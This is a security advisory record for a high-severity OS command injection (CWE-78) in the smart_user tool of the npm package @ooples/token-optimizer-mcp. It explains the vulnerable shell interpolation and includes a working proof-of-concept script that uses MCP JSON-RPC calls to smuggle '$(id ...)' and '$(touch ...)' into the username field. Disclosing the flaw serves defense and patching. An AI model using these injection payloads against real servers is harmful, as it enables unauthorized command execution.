{"id":"CVE-2026-55157","aliases":["GHSA-49mq-fc6q-3h46"],"title":"Token Optimizer MCP: OS command injection in smart_user via username in get-user-info","summary":"Token Optimizer MCP: OS command injection in smart_user via username in get-user-info","severity":"high","cvss":8.4,"cwe":["CWE-78"],"vendor":"ooples","product":"@ooples/token-optimizer-mcp","ecosystem":"npm","affected":["@ooples/token-optimizer-mcp < 5.1.0"],"patched":["@ooples/token-optimizer-mcp 5.1.0"],"published":"2026-08-14","updated":"2026-08-14","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-49mq-fc6q-3h46","references":[{"url":"https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46"},{"url":"https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7"},{"url":"https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"},{"url":"https://github.com/advisories/GHSA-49mq-fc6q-3h46"}],"tags":["ghsa","npm"],"ingestedAt":"2026-08-14T22:21:25.769Z","slug":"CVE-2026-55157","body":"## Overview\n\n### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n  `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n→ interpolated into shell command string\n→ executed through execAsync()\n→ shell evaluates $(...) / backticks\n→ arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" <<'PY' | timeout 20 node \"$ENTRY\" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f'$(id > {id_out})'\n\nmessages = [\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"init\",\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\n                \"name\": \"poc\",\n                \"version\": \"0\"\n            }\n        }\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"notifications/initialized\",\n        \"params\": {}\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"poc-smart-user\",\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"smart_user\",\n            \"arguments\": {\n                \"operation\": \"get-user-info\",\n                \"username\": evil_username,\n                \"useCache\": False\n            }\n        }\n    }\n]\n\nfor msg in messages:\n    print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n  echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n  cat \"$ID_OUT\"\n  ls -l \"$ID_OUT\"\nelse\n  echo \"[FAIL] smart_user id output file not created\"\n  tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(<local-user>) gid=1001(<local-user>) groups=...\n-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n  \"operation\": \"get-user-info\",\n  \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n  \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```\n\n## Affected packages\n\n- `@ooples/token-optimizer-mcp < 5.1.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@ooples/token-optimizer-mcp 5.1.0`","depth":"twilight","depthScore":46,"depthScoreParts":{"impact":46.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}